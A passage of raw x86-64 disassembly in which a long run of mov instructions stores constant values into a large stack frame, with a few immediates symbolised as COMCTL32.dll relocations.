mov dword [rsp + 0x7c38], 0x5b0d
movabs rax, 0x7036de215d7b1a
mov qword [rsp + 0xfdb8], rax
movabs rax, 0x743328867395f5
mov qword [rsp + 0xfdc0], rax
mov eax, 0xada
mov word [rsp + 0x24b8], ax
mov dword [rsp + 0x7c3c], 0x238b
movabs rax, 0x792373aaf016b4
mov qword [rsp + 0xfdc8], rax
movabs rax, 0x7aff0d12d93800
mov qword [rsp + 0xfdd0], rax
mov eax, 0x40d
mov word [rsp + 0x24bc], ax
movabs rax, 0x723590ad3bf0be
mov qword [rsp + 0xfdd8], rax
mov byte [rsp + 0x469], 0x97
mov eax, 0xa90
mov word [rsp + 0x24c0], ax
mov byte [rsp + 0x46a], 0x93
mov dword [rsp + 0x7c40], 0x7d34
movabs rax, 0x7374cc7b95ff6d
mov qword [rsp + 0xfde0], rax
mov byte [rsp + 0x46b], 0x4e
mov byte [rsp + 0x46c], 0x40
mov byte [rsp + 0x46d], 0x62
mov dword [rsp + 0x7c44], 0x67a5
movabs rax, 0x7098e216c560d6
mov qword [rsp + 0xfde8], rax
mov byte [rsp + 0x46e], 0x4a
mov dword [rsp + 0x7c48], 0x796b
movabs rax, 0x7e237376984679
mov qword [rsp + 0xfdf0], rax
mov byte [rsp + 0x46f], 0x13
mov dword [rsp + 0x7c4c], 0x44f4
mov eax, 0x714
mov word [rsp + 0x24c4], ax
mov dword [rsp + 0x7c50], 0xa986
mov dword [rsp + 0x7c54], 0x8314
mov eax, 0x5a8
mov word [rsp + 0x24c8], ax
mov eax, 0x820
mov word [rsp + 0x24cc], ax
mov dword [rsp + 0x7c58], 0x19ff
movabs rax, 0x7a53d9ba18cfb4
mov qword [rsp + 0xfdf8], rax
mov byte [rsp + 0x470], 0x66
mov dword [rsp + 0x7c5c], 0x2650
mov dword [rsp + 0x7c60], 0x5d4e
movabs rax, 0x7d8a62c2347902
mov qword [rsp + 0xfe00], rax
mov eax, 0x43c
mov word [rsp + 0x24d0], ax
mov eax, 0x516
mov word [rsp + 0x24d4], ax
movabs rax, 0x799e47b332908a
mov qword [rsp + 0xfe08], rax
mov byte [rsp + 0x471], 0x21
mov dword [rsp + 0x7c64], 0x49c
mov byte [rsp + 0x472], 0x67
movabs rax, 0x7d941d91cca117
mov qword [rsp + 0xfe10], rax
mov eax, 0xe5a
mov word [rsp + 0x24d8], ax
movabs rax, 0x77ee6813b2dee3
mov qword [rsp + 0xfe18], rax
mov byte [rsp + 0x473], 5
mov dword [rsp + 0x7c68], 0xda48
movabs rax, 0x79bae9876f49d5
mov qword [rsp + 0xfe20], rax
movabs rax, 0x77f0ef0f2f1ffe
mov qword [rsp + 0xfe28], rax
mov eax, 0xc0
mov word [rsp + 0x24dc], ax
movabs rax, 0x7827a3eb66f4de
mov qword [rsp + 0xfe30], rax
mov eax, 0xa37
mov word [rsp + 0x24e0], ax
movabs rax, 0x7633c3d6488a1f
mov qword [rsp + 0xfe38], rax
mov eax, 0x5e6
mov word [rsp + 0x24e4], ax
mov eax, 0x3eb
mov word [rsp + 0x24e8], ax
mov eax, reloc.COMCTL32.dll_RemoveWindowSubclass
mov word [rsp + 0x24ec], ax
movabs rax, 0x769b925200ea90
mov qword [rsp + 0xfe40], rax
mov dword [rsp + 0x7c6c], 0x61a
movabs rax, 0x732e2b30b4cada
mov qword [rsp + 0xfe48], rax
mov byte [rsp + 0x474], 0x83
movabs rax, 0x71f9cef6f23971
mov qword [rsp + 0xfe50], rax
movabs rax, 0x75901da8fadd68
mov qword [rsp + 0xfe58], rax
movabs rax, 0x7280c4f004635f
mov qword [rsp + 0xfe60], rax
movabs rax, 0x77f17bfcc665cb
mov qword [rsp + 0xfe68], rax
mov dword [rsp + 0x7c70], 0xc7c7
mov eax, 0x1a8
mov word [rsp + 0x24f0], ax
movabs rax, 0x713535403d9bb9
mov qword [rsp + 0xfe70], rax
movabs rax, 0x7126ae3f825f84
mov qword [rsp + 0xfe78], rax
movabs rax, 0x799d80ec1cd332
mov qword [rsp + 0xfe80], rax
movabs rax, 0x7676db01a44a89
mov qword [rsp + 0xfe88], rax
mov eax, 0x791
mov word [rsp + 0x24f4], ax
mov eax, 0x3d4
mov word [rsp + 0x24f8], ax
mov dword [rsp + 0x7c74], 0xa49a
mov eax, 0xbc
mov word [rsp + 0x24fc], ax
mov eax, 0x391
mov word [rsp + 0x2500], ax
mov eax, 0x7f0
mov word [rsp + 0x2504], ax
mov dword [rsp + 0x7c78], 0x80b8
mov dword [rsp + 0x7c7c], 0x1ad2
mov eax, 0x281
mov word [rsp + 0x2508], ax
mov eax, 0x3a7
mov word [rsp + 0x250c], ax
mov dword [rsp + 0x7c80], 0x55eb
mov byte [rsp + 0x475], 0x50
mov dword [rsp + 0x7c84], 0x1e5f
movabs rax, 0x74bb4ff9fd4900
mov qword [rsp + 0xfe90], rax
movabs rax, 0x73a113ae569939
mov qword [rsp + 0xfe98], rax
mov eax, 0xfb6
mov word [rsp + 0x2510], ax
movabs rax, 0x7c436ac9224ea7
mov qword [rsp + 0xfea0], rax
movabs rax, 0x78447c97c9befc
mov qword [rsp + 0xfea8], rax
mov byte [rsp + 0x476], 0xa0
movabs rax, 0x7e290c2430221c
mov qword [rsp + 0xfeb0], rax
movabs rax, 0x719aa738945bbc
mov qword [rsp + 0xfeb8], rax
mov eax, 0xebe
mov word [rsp + 0x2514], ax
movabs rax, 0x7483418056a89b
mov qword [rsp + 0xfec0], rax
mov eax, 0x10d
mov word [rsp + 0x2518], ax
mov eax, 0x786
mov word [rsp + 0x251c], ax
mov eax, 0x4de
mov word [rsp + 0x2520], ax
movabs rax, 0x7c0641ade6ee28
mov qword [rsp + 0xfec8], rax
movabs rax, 0x7bc5f85a83321a
mov qword [rsp + 0xfed0], rax
movabs rax, 0x7844bd9d459aa5
mov qword [rsp + 0xfed8], rax
mov byte [rsp + 0x477], 0x74
movabs rax, 0x70249ef8bef717
mov qword [rsp + 0xfee0], rax
movabs rax, 0x710d656c3020c2
mov qword [rsp + 0xfee8], rax
mov eax, 0xb21
mov word [rsp + 0x2524], ax
movabs rax, 0x7a1f617cc4650f
mov qword [rsp + 0xfef0], rax
mov byte [rsp + 0x478], 0x4c
mov byte [rsp + 0x479], 0x74
mov dword [rsp + 0x7c88], 0x1996
mov dword [rsp + 0x7c8c], 0xb65e
movabs rax, 0x77bec8601d6e06
mov qword [rsp + 0xfef8], rax
mov dword [rsp + 0x7c90], 0x37ba
mov dword [rsp + 0x7c94], 0x541c
mov dword [rsp + 0x7c98], 0xedfc
mov byte [rsp + 0x47a], 0x14
mov eax, pe_nt_image_headers64
mov word [rsp + 0x2528], ax
mov dword [rsp + 0x7c9c], 0x652f
mov dword [rsp + 0x7ca0], 0x6ad6
movabs rax, 0x7586ae5ff35770
mov qword [rsp + 0xff00], rax
movabs rax, 0x7a30412646e08b
mov qword [rsp + 0xff08], rax
mov dword [rsp + 0x7ca4], 0x33c2
mov dword [rsp + 0x7ca8], 0x6420
mov dword [rsp + 0x7cac], 0xa0c6
movabs rax, 0x76bedbf5bbaeac
mov qword [rsp + 0xff10], rax
movabs rax, 0x748282feccf8a1
mov qword [rsp + 0xff18], rax
movabs rax, 0x76d7cce9ae2a86
mov qword [rsp + 0xff20], rax
movabs rax, 0x74ef2517d916ef
mov qword [rsp + 0xff28], rax
mov eax, 0x3a3
mov word [rsp + 0x252c], ax
mov eax, 0xe0
mov word [rsp + 0x2530], ax
movabs rax, 0x7deb29aec2bb85
mov qword [rsp + 0xff30], rax
movabs rax, 0x79c550155779e9
mov qword [rsp + 0xff38], rax
movabs rax, 0x7eb590a9476172
mov qword [rsp + 0xff40], rax
movabs rax, 0x78d09c74096791
mov qword [rsp + 0xff48], rax
mov dword [rsp + 0x7cb0], 0x73af
movabs rax, 0x75224d416d3bdb
mov qword [rsp + 0xff50], rax
mov dword [rsp + 0x7cb4], 0x438e
movabs rax, 0x7eef90e55480b8
mov qword [rsp + 0xff58], rax
movabs rax, 0x75ab6dac6783e9
mov qword [rsp + 0xff60], rax
mov eax, 0x727
mov word [rsp + 0x2534], ax
mov dword [rsp + 0x7cb8], 0x60dc
movabs rax, 0x7ad3538887d529
mov qword [rsp + 0xff68], rax
mov byte [rsp + 0x47b], 0x77
mov byte [rsp + 0x47c], 6
mov eax, 0x510
mov word [rsp + 0x2538], ax
movabs rax, 0x7d03c7a518c837
mov qword [rsp + 0xff70], rax
movabs rax, 0x77ddc40ffa66d2
mov qword [rsp + 0xff78], rax
mov byte [rsp + 0x47d], 0x57
mov eax, 0xce
mov word [rsp + 0x253c], ax
mov dword [rsp + 0x7cbc], 0x7ed
mov byte [rsp + 0x47e], 0x97
mov byte [rsp + 0x47f], 0x40
mov dword [rsp + 0x7cc0], 0x4641
movabs rax, 0x756ce1563c31da
mov qword [rsp + 0xff80], rax
mov byte [rsp + 0x480], 0x46
mov byte [rsp + 0x481], 0xa7
mov dword [rsp + 0x7cc4], 0x5ad
movabs rax, 0x7ee636d25580c8
mov qword [rsp + 0xff88], rax
movabs rax, 0x7ac248cc2eae83
mov qword [rsp + 0xff90], rax
mov byte [rsp + 0x482], 0x15
mov eax, 0x3d5
mov word [rsp + 0x2540], ax
mov eax, 0x3e1
mov word [rsp + 0x2544], ax
mov dword [rsp + 0x7cc8], 0xe3ac
movabs rax, 0x71a19a37920478
mov qword [rsp + 0xff98], rax
mov byte [rsp + 0x483], 0x3f
movabs rax, 0x7047e29ddd5584
mov qword [rsp + 0xffa0], rax
movabs rax, 0x78321039bf3f03
mov qword [rsp + 0xffa8], rax
mov dword [rsp + 0x7ccc], 0x47f4
mov dword [rsp + 0x7cd0], 0xc801
mov byte [rsp + 0x484], 0xbe
mov dword [rsp + 0x7cd4], 0x3cd2
mov eax, 0x469
mov word [rsp + 0x2548], ax
mov dword [rsp + 0x7cd8], 0x4fa0
movabs rax, 0x7910e47b85b54f
mov qword [rsp + 0xffb0], rax
mov dword [rsp + 0x7cdc], 0x69b2
mov eax, 0xbf2
mov word [rsp + 0x254c], ax
movabs rax, 0x72a4be91bf7537
mov qword [rsp + 0xffb8], rax
mov dword [rsp + 0x7ce0], 0x1c65
mov dword [rsp + 0x7ce4], 0x4117
movabs rax, 0x788a204ee053d9
mov qword [rsp + 0xffc0], rax
movabs rax, 0x7e6f16e25cd237
mov qword [rsp + 0xffc8], rax
movabs rax, 0x70d9f077b6b1ee
mov qword [rsp + 0xffd0], rax
mov dword [rsp + 0x7ce8], 0x2dc4
mov eax, 0x156
mov word [rsp + 0x2550], ax
movabs rax, 0x7c854e8184648d
mov qword [rsp + 0xffd8], rax
movabs rax, 0x7bdd062e6132c1
mov qword [rsp + 0xffe0], rax
movabs rax, 0x750a0498f7a455
mov qword [rsp + 0xffe8], rax
movabs rax, 0x7c81dd18148f85
mov qword [rsp + 0xfff0], rax
mov byte [rsp + 0x485], 0xad
movabs rax, 0x7a0554fd4084ae
mov qword [rsp + 0xfff8], rax
movabs rax, 0x78f3f847d60ce8
mov qword [rsp + 0x10000], rax
mov byte [rsp + 0x486], 0x48
mov byte [rsp + 0x487], 0xa0
movabs rax, 0x7d629f8a08e50b
mov qword [rsp + 0x10008], rax
movabs rax, 0x7d5c744c42754e
mov qword [rsp + 0x10010], rax
mov dword [rsp + 0x7cec], 0x303d
mov dword [rsp + 0x7cf0], 0x7f77
mov byte [rsp + 0x488], 0x12
mov dword [rsp + 0x7cf4], 0x8ec
mov eax, 0xe09
mov word [rsp + 0x2554], ax
mov dword [rsp + 0x7cf8], 0x5e2e
mov byte [rsp + 0x489], 0x5e
mov dword [rsp + 0x7cfc], 0x3cf6
mov byte [rsp + 0x48a], 0x4e
mov dword [rsp + 0x7d00], 0xac0f
mov dword [rsp + 0x7d04], 0x55bb
mov dword [rsp + 0x7d08], 0x9965
movabs rax, 0x797688caf48c57
mov qword [rsp + 0x10018], rax
mov dword [rsp + 0x7d0c], 0x6248
mov eax, 0x58f
mov word [rsp + 0x2558], ax
mov dword [rsp + 0x7d10], 0x61e6
movabs rax, 0x7cd0e654d98797
mov qword [rsp + 0x10020], rax
mov dword [rsp + 0x7d14], 0x403e
movabs rax, 0x77d6f8a31265b2
mov qword [rsp + 0x10028], rax
mov dword [rsp + 0x7d18], 0x1c3e
mov byte [rsp + 0x48b], 0x1e
mov dword [rsp + 0x7d1c], 0x1484
mov eax, 0x234
mov word [rsp + 0x255c], ax
mov eax, 0x68d
mov word [rsp + 0x2560], ax
movabs rax, 0x7b47141755adf7
mov qword [rsp + 0x10030], rax
movabs rax, 0x7b9f2ff9c9c4f2
mov qword [rsp + 0x10038], rax
mov byte [rsp + 0x48c], 0x9c
mov dword [rsp + 0x7d20], 0x368d
mov byte [rsp + 0x48d], 0x10
movabs rax, 0x709297727b81ac
mov qword [rsp + 0x10040], rax
mov byte [rsp + 0x48e], 6
mov dword [rsp + 0x7d24], 0x8895
mov dword [rsp + 0x7d28], 0x26e5
mov byte [rsp + 0x48f], 0xf7
mov byte [rsp + 0x490], 0x95
mov eax, 0x213
mov word [rsp + 0x2564], ax
movabs rax, 0x79d81a51aa3f6f
mov qword [rsp + 0x10048], rax
movabs rax, 0x7281e6a2c19399
mov qword [rsp + 0x10050], rax
movabs rax, 0x7a253cc2ac5498
mov qword [rsp + 0x10058], rax
mov byte [rsp + 0x491], 0x32
mov byte [rsp + 0x492], 0x39
mov eax, 0x421
mov word [rsp + 0x2568], ax
mov byte [rsp + 0x493], 0x27
mov byte [rsp + 0x494], 0x62
mov byte [rsp + 0x495], 0x5b
mov dword [rsp + 0x7d2c], 0x498
movabs rax, 0x770d263c53958d
mov qword [rsp + 0x10060], rax
movabs rax, 0x7da5c6032db28f
mov qword [rsp + 0x10068], rax
mov dword [rsp + 0x7d30], 0x1b7a
mov dword [rsp + 0x7d34], 0x3410
mov eax, 0x168
mov word [rsp + 0x256c], ax
mov byte [rsp + 0x496], 0x48
movabs rax, 0x7c68159d06e34c
mov qword [rsp + 0x10070], rax
mov eax, 0x59f
mov word [rsp + 0x2570], ax
mov dword [rsp + 0x7d38], 0xe14a
movabs rax, 0x726db3a1b7a670
mov qword [rsp + 0x10078], rax
movabs rax, 0x7e64cfcb87a637
mov qword [rsp + 0x10080], rax
mov eax, 0xe94
mov word [rsp + 0x2574], ax
mov byte [rsp + 0x497], 0x10
movabs rax, 0x7806badf314da3
mov qword [rsp + 0x10088], rax
mov eax, 0x32a
mov word [rsp + 0x2578], ax
mov eax, 0x12
mov word [rsp + 0x257c], ax
mov dword [rsp + 0x7d3c], 0xab31
mov eax, 0x5dc
mov word [rsp + 0x2580], ax
movabs rax, 0x72891ce57a894d
mov qword [rsp + 0x10090], rax
mov eax, 0xff
mov word [rsp + 0x2584], ax
mov dword [rsp + 0x7d40], 0x1c10
mov dword [rsp + 0x7d44], 0x4b39
movabs rax, 0x799c4e628124e0
mov qword [rsp + 0x10098], rax
mov eax, 0x404
mov word [rsp + 0x2588], ax
mov eax, 0xf72
mov word [rsp + 0x258c], ax
mov dword [rsp + 0x7d48], 0x2d40
mov eax, 0x2d7
mov word [rsp + 0x2590], ax
mov eax, 0x7f6
mov word [rsp + 0x2594], ax
mov eax, 0xc86
mov word [rsp + 0x2598], ax
movabs rax, 0x7af682cd3e61d1
mov qword [rsp + 0x100a0], rax
movabs rax, 0x77d170e31cdc08
mov qword [rsp + 0x100a8], rax
movabs rax, 0x727d8bf93bf69a
mov qword [rsp + 0x100b0], rax
movabs rax, 0x7129f99328ce2a
mov qword [rsp + 0x100b8], rax
mov eax, 0x72e
mov word [rsp + 0x259c], ax
mov byte [rsp + 0x498], 0x41
mov dword [rsp + 0x7d4c], 0x2747
mov byte [rsp + 0x499], 0xe1
movabs rax, 0x7cc62acebfea8b
mov qword [rsp + 0x100c0], rax
mov eax, 0xc44
mov word [rsp + 0x25a0], ax
mov eax, 0x1c1
mov word [rsp + 0x25a4], ax
mov eax, 0x712
mov word [rsp + 0x25a8], ax
mov eax, 0x4b
mov word [rsp + 0x25ac], ax
movabs rax, 0x7b36d485542315
mov qword [rsp + 0x100c8], rax
mov byte [rsp + 0x49a], 0x33
mov dword [rsp + 0x7d50], 0x2ae2
mov dword [rsp + 0x7d54], 0x8a89
mov dword [rsp + 0x7d58], 0xff26
movabs rax, 0x79e4ede7b4c79a
mov qword [rsp + 0x100d0], rax
mov dword [rsp + 0x7d5c], 0x9f1e
mov byte [rsp + 0x49b], 0xf
movabs rax, 0x7c25838e815e47
mov qword [rsp + 0x100d8], rax
mov eax, 0x42
mov word [rsp + 0x25b0], ax
movabs rax, 0x726ba208f588ec
mov qword [rsp + 0x100e0], rax
mov eax, 0x230
mov word [rsp + 0x25b4], ax
movabs rax, 0x70289de71be652
mov qword [rsp + 0x100e8], rax
mov dword [rsp + 0x7d60], 0xb34c
movabs rax, 0x73502e023f2234
mov qword [rsp + 0x100f0], rax
mov byte [rsp + 0x49c], 0x2c
mov eax, 0x553
mov word [rsp + 0x25b8], ax
mov eax, 0xa7
mov word [rsp + 0x25bc], ax
mov eax, 0x6ee
mov word [rsp + 0x25c0], ax
mov eax, 0x2f5
mov word [rsp + 0x25c4], ax
mov dword [rsp + 0x7d64], 0x3df
mov dword [rsp + 0x7d68], 0x59a
movabs rax, 0x7a6451ad6f235c
mov qword [rsp + 0x100f8], rax
movabs rax, 0x768acc9d0fe848
mov qword [rsp + 0x10100], rax
movabs rax, 0x7a3df41d4cd41c
mov qword [rsp + 0x10108], rax
mov eax, 0x9a1
mov word [rsp + 0x25c8], ax
mov byte [rsp + 0x49d], 0x6a
mov byte [rsp + 0x49e], 0xcd
movabs rax, 0x750ff64bc91c31
mov qword [rsp + 0x10110], rax
mov eax, 0x2ea
mov word [rsp + 0x25cc], ax
mov eax, 0x3f
mov word [rsp + 0x25d0], ax
movabs rax, 0x723bb0bd53fc72
mov qword [rsp + 0x10118], rax
mov byte [rsp + 0x49f], 0xc0
mov dword [rsp + 0x7d6c], 0xf349
movabs rax, 0x7d7502e188e7e9
mov qword [rsp + 0x10120], rax
mov eax, 0xfe4
mov word [rsp + 0x25d4], ax
mov eax, reloc.COMCTL32.dll_RemoveWindowSubclass
mov word [rsp + 0x25d8], ax
movabs rax, 0x74139e3b3aa957
mov qword [rsp + 0x10128], rax
mov eax, 0x458
mov word [rsp + 0x25dc], ax
mov dword [rsp + 0x7d70], 0x645c
movabs rax, 0x702af8e602ccec
mov qword [rsp + 0x10130], rax
mov dword [rsp + 0x7d74], 0xd278
mov byte [rsp + 0x4a0], 0xc2
mov dword [rsp + 0x7d78], 0x71f
mov eax, 0x659
mov word [rsp + 0x25e0], ax
movabs rax, 0x71c00662bec91a
mov qword [rsp + 0x10138], rax
mov dword [rsp + 0x7d7c], 0x4076
mov dword [rsp + 0x7d80], 0x1862
mov byte [rsp + 0x4a1], 0x51
mov eax, 0xe95
mov word [rsp + 0x25e4], ax
movabs rax, 0x7bb5ec4ed857f9
mov qword [rsp + 0x10140], rax
mov byte [rsp + 0x4a2], 0x8f
mov dword [rsp + 0x7d84], 0xeb66
mov dword [rsp + 0x7d88], 0xd2d
mov dword [rsp + 0x7d8c], 0xa567
mov eax, 0x54d
mov word [rsp + 0x25e8], ax
movabs rax, 0x7ecbb8af2ccfad
mov qword [rsp + 0x10148], rax
mov eax, 0x735
mov word [rsp + 0x25ec], ax
mov byte [rsp + 0x4a3], 0x66
mov dword [rsp + 0x7d90], 0xbfd6
mov byte [rsp + 0x4a4], 0x24
mov dword [rsp + 0x7d94], 0x749
mov byte [rsp + 0x4a5], 0x42
mov byte [rsp + 0x4a6], 0x21
mov byte [rsp + 0x4a7], 0x35
mov dword [rsp + 0x7d98], 0x2fc
mov dword [rsp + 0x7d9c], 0x2c32
mov byte [rsp + 0x4a8], 0x1f
mov eax, reloc.COMCTL32.dll_DefSubclassProc
mov word [rsp + 0x25f0], ax
mov byte [rsp + 0x4a9], 0x16
mov byte [rsp + 0x4aa], 0x82
movabs rax, 0x76938b1b83aeb5
mov qword [rsp + 0x10150], rax
movabs rax, 0x7c3f1bc189a8c8
mov qword [rsp + 0x10158], rax
mov eax, 0x21
mov word [rsp + 0x25f4], ax
mov eax, 0xd92
mov word [rsp + 0x25f8], ax
mov byte [rsp + 0x4ab], 0x37
mov eax, 0x6b5
mov word [rsp + 0x25fc], ax
movabs rax, 0x704ca23d6d4760
mov qword [rsp + 0x10160], rax
mov eax, 0x7a7
mov word [rsp + 0x2600], ax
mov eax, 0x51f
mov word [rsp + 0x2604], ax
mov byte [rsp + 0x4ac], 0xcc
mov eax, 0x224
mov word [rsp + 0x2608], ax
movabs rax, 0x79cd6a25cba283
mov qword [rsp + 0x10168], rax
movabs rax, 0x7368622af2a8d0
mov qword [rsp + 0x10170], rax
mov dword [rsp + 0x7da0], 0x1537
mov byte [rsp + 0x4ad], 0xbb
mov dword [rsp + 0x7da4], 0x4aff
mov eax, 0xed7
mov word [rsp + 0x260c], ax
mov byte [rsp + 0x4ae], 0x74
movabs rax, 0x7496e6aa469c99
mov qword [rsp + 0x10178], rax
mov eax, 0xc29
mov word [rsp + 0x2610], ax
mov eax, 0xc28
mov word [rsp + 0x2614], ax
movabs rax, 0x76f762924375a8
mov qword [rsp + 0x10180], rax
mov eax, 0x4dd
mov word [rsp + 0x2618], ax
mov dword [rsp + 0x7da8], 0x602f
movabs rax, 0x7a470e5fec7d9d
mov qword [rsp + 0x10188], rax
movabs rax, 0x748f129338eec3
mov qword [rsp + 0x10190], rax
mov eax, 0x275
mov word [rsp + 0x261c], ax
movabs rax, 0x74410e60c8c852
mov qword [rsp + 0x10198], rax
mov dword [rsp + 0x7dac], 0xecc0
mov byte [rsp + 0x4af], 0x2e
mov dword [rsp + 0x7db0], 0x3d07
mov eax, 0xa25
mov word [rsp + 0x2620], ax
mov dword [rsp + 0x7db4], 0x645
mov byte [rsp + 0x4b0], 0xfb
mov dword [rsp + 0x7db8], 0x110b
mov dword [rsp + 0x7dbc], 0xe9e6
mov byte [rsp + 0x4b1], 7
movabs rax, 0x7e7b118e56577d
mov qword [rsp + 0x101a0], rax
movabs rax, 0x7e54e47a117a49
mov qword [rsp + 0x101a8], rax
mov dword [rsp + 0x7dc0], 0x340b
movabs rax, 0x781544c42a0dda
mov qword [rsp + 0x101b0], rax
mov dword [rsp + 0x7dc4], 0xbee7
mov dword [rsp + 0x7dc8], 0x398c
movabs rax, 0x76e9f4ed499c72
mov qword [rsp + 0x101b8], rax
mov dword [rsp + 0x7dcc], 0x4eea
mov byte [rsp + 0x4b2], 0xe5
movabs rax, 0x794318e4a566fd
mov qword [rsp + 0x101c0], rax
mov eax, 0xbf
mov word [rsp + 0x2624], ax
mov eax, 0xd7d
mov word [rsp + 0x2628], ax
mov eax, 0x8c4
mov word [rsp + 0x262c], ax
mov dword [rsp + 0x7dd0], 0xea07
mov byte [rsp + 0x4b3], 0xa2
mov dword [rsp + 0x7dd4], 0x92ff
mov eax, 0x7a6
mov word [rsp + 0x2630], ax
movabs rax, 0x76a853c099187f
mov qword [rsp + 0x101c8], rax
mov dword [rsp + 0x7dd8], 0x61ca
movabs rax, 0x7b65133cbe837a
mov qword [rsp + 0x101d0], rax
mov eax, 0xe82
mov word [rsp + 0x2634], ax
mov dword [rsp + 0x7ddc], 0x425b
movabs rax, 0x747555418a7a18
mov qword [rsp + 0x101d8], rax
mov byte [rsp + 0x4b4], 0xeb
mov dword [rsp + 0x7de0], 0x5658
mov byte [rsp + 0x4b5], 0x21
movabs rax, 0x77eb89d4df64f7
mov qword [rsp + 0x101e0], rax
mov byte [rsp + 0x4b6], 0xaf
mov eax, 0x7f9
mov word [rsp + 0x2638], ax
movabs rax, 0x7104ed313bd017
mov qword [rsp + 0x101e8], rax
mov byte [rsp + 0x4b7], 0x5e
movabs rax, 0x7d03fb0bb69a52
mov qword [rsp + 0x101f0], rax
mov eax, 0xb13
mov word [rsp + 0x263c], ax
mov eax, 0x474
mov word [rsp + 0x2640], ax
mov dword [rsp + 0x7de4], 0x23f3
movabs rax, 0x79623b0daa53b6
mov qword [rsp + 0x101f8], rax
mov byte [rsp + 0x4b8], 0x7c
mov byte [rsp + 0x4b9], 0x49
movabs rax, 0x7ed786a6659283
mov qword [rsp + 0x10200], rax
movabs rax, 0x71bc3c5affe034
mov qword [rsp + 0x10208], rax
mov eax, 0x6ec
mov word [rsp + 0x2644], ax
movabs rax, 0x748f13021bce71
mov qword [rsp + 0x10210], rax
mov byte [rsp + 0x4ba], 0xa5
movabs rax, 0x70110477329156
mov qword [rsp + 0x10218], rax
mov eax, 0x1c
mov word [rsp + 0x2648], ax
mov byte [rsp + 0x4bb], 0x69
mov eax, 0xb71
mov word [rsp + 0x264c], ax
mov dword [rsp + 0x7de8], 0x30cc
mov eax, 0xfae
mov word [rsp + 0x2650], ax
mov byte [rsp + 0x4bc], 0x2e
mov dword [rsp + 0x7dec], 0x259b
movabs rax, 0x70b95ca25b97ad
mov qword [rsp + 0x10220], rax
movabs rax, 0x7bb22e1ba42eff
mov qword [rsp + 0x10228], rax
mov dword [rsp + 0x7df0], 0x13f1
mov dword [rsp + 0x7df4], 0x575a
mov byte [rsp + 0x4bd], 0xd0
mov dword [rsp + 0x7df8], 0x1ca
mov dword [rsp + 0x7dfc], 0x69e
mov eax, 0xfcb
mov word [rsp + 0x2654], ax
mov byte [rsp + 0x4be], 0x39
movabs rax, 0x7318ad3952f7a1
mov qword [rsp + 0x10230], rax
mov dword [rsp + 0x7e00], 0xa773
mov byte [rsp + 0x4bf], 0x2d
mov byte [rsp + 0x4c0], 0x4c
movabs rax, 0x75a552c566b290
mov qword [rsp + 0x10238], rax
mov byte [rsp + 0x4c1], 0x34
movabs rax, 0x7d420f18266b82
mov qword [rsp + 0x10240], rax
mov eax, 0x8eb
mov word [rsp + 0x2658], ax
movabs rax, 0x7acbef7ee4800d
mov qword [rsp + 0x10248], rax
movabs rax, 0x7b4823182425d8
mov qword [rsp + 0x10250], rax
mov eax, 0xdd3
mov word [rsp + 0x265c], ax
mov dword [rsp + 0x7e04], 0x3b9e
mov byte [rsp + 0x4c2], 0xee
movabs rax, 0x7829bee02ac880
mov qword [rsp + 0x10258], rax
mov byte [rsp + 0x4c3], 0x20
mov dword [rsp + 0x7e08], 0x57de
mov byte [rsp + 0x4c4], 0
mov byte [rsp + 0x4c5], 0xd2
movabs rax, 0x7a2eb0b1981763
mov qword [rsp + 0x10260], rax
movabs rax, 0x7dd1643f702516
mov qword [rsp + 0x10268], rax
mov byte [rsp + 0x4c6], 0xf0
mov byte [rsp + 0x4c7], 0x3a
movabs rax, 0x787eba90f53c20
mov qword [rsp + 0x10270], rax
mov dword [rsp + 0x7e0c], 0x6c97
mov dword [rsp + 0x7e10], 0x28d1
mov eax, 0x36
mov word [rsp + 0x2660], ax
mov byte [rsp + 0x4c8], 5
movabs rax, 0x7e738fa8b703fb
mov qword [rsp + 0x10278], rax
movabs rax, 0x7aae9cb6744aba
mov qword [rsp + 0x10280], rax
mov eax, 0x397
mov word [rsp + 0x2664], ax
mov byte [rsp + 0x4c9], 0xd9
mov eax, 0x8fe
mov word [rsp + 0x2668], ax
mov byte [rsp + 0x4ca], 0xba
mov byte [rsp + 0x4cb], 0xf9
mov byte [rsp + 0x4cc], 0x64
mov dword [rsp + 0x7e14], 0x55f7
mov byte [rsp + 0x4cd], 0x47
movabs rax, 0x778c5c8ec12c39
mov qword [rsp + 0x10288], rax
movabs rax, 0x76994f5a6c055a
mov qword [rsp + 0x10290], rax
movabs rax, 0x73e644a7d4ec6b
mov qword [rsp + 0x10298], rax
mov dword [rsp + 0x7e18], 0x133a
mov eax, 0x533
mov word [rsp + 0x266c], ax
mov byte [rsp + 0x4ce], 0x24
mov eax, 0x98b
mov word [rsp + 0x2670], ax
mov byte [rsp + 0x4cf], 0
mov byte [rsp + 0x4d0], 0x8d
mov eax, 0x1a5
mov word [rsp + 0x2674], ax
mov eax, 0x7d7
mov word [rsp + 0x2678], ax
mov byte [rsp + 0x4d1], 0xc5
mov byte [rsp + 0x4d2], 0x13
mov eax, 0x95f
mov word [rsp + 0x267c], ax
mov byte [rsp + 0x4d3], 0x76
mov byte [rsp + 0x4d4], 0xd7
mov dword [rsp + 0x7e1c], 0x7635
mov eax, 0x346
mov word [rsp + 0x2680], ax
movabs rax, 0x7e0835ec01c3b0
mov qword [rsp + 0x102a0], rax
mov eax, 0x987
mov word [rsp + 0x2684], ax
mov eax, 0x664
mov word [rsp + 0x2688], ax
mov byte [rsp + 0x4d5], 0x57
mov eax, 0x7f0
mov word [rsp + 0x268c], ax
movabs rax, 0x7c1cb26aa80092
mov qword [rsp + 0x102a8], rax
movabs rax, 0x7c4f2b8b42f7ea
mov qword [rsp + 0x102b0], rax
mov dword [rsp + 0x7e20], 0x39ff
mov dword [rsp + 0x7e24], 0x747b
mov byte [rsp + 0x4d6], 5
mov dword [rsp + 0x7e28], 0xe731
mov dword [rsp + 0x7e2c], 0x5342
mov dword [rsp + 0x7e30], 0x39f6
mov dword [rsp + 0x7e34], 0x7a68
movabs rax, 0x7373795106b169
mov qword [rsp + 0x102b8], rax
mov dword [rsp + 0x7e38], 0xd5e6
mov dword [rsp + 0x7e3c], 0x4190
mov dword [rsp + 0x7e40], 0x29cc
mov dword [rsp + 0x7e44], 0x244e
movabs rax, 0x71cb81af22de48
mov qword [rsp + 0x102c0], rax
mov eax, 0xd1
mov word [rsp + 0x2690], ax
mov byte [rsp + 0x4d7], 0xdd
mov eax, 0x5c3
mov word [rsp + 0x2694], ax
mov dword [rsp + 0x7e48], 0x4d0b
mov byte [rsp + 0x4d8], 0x87
mov byte [rsp + 0x4d9], 0x21
mov byte [rsp + 0x4da], 8
mov dword [rsp + 0x7e4c], 0x380b
mov eax, 0x3a6
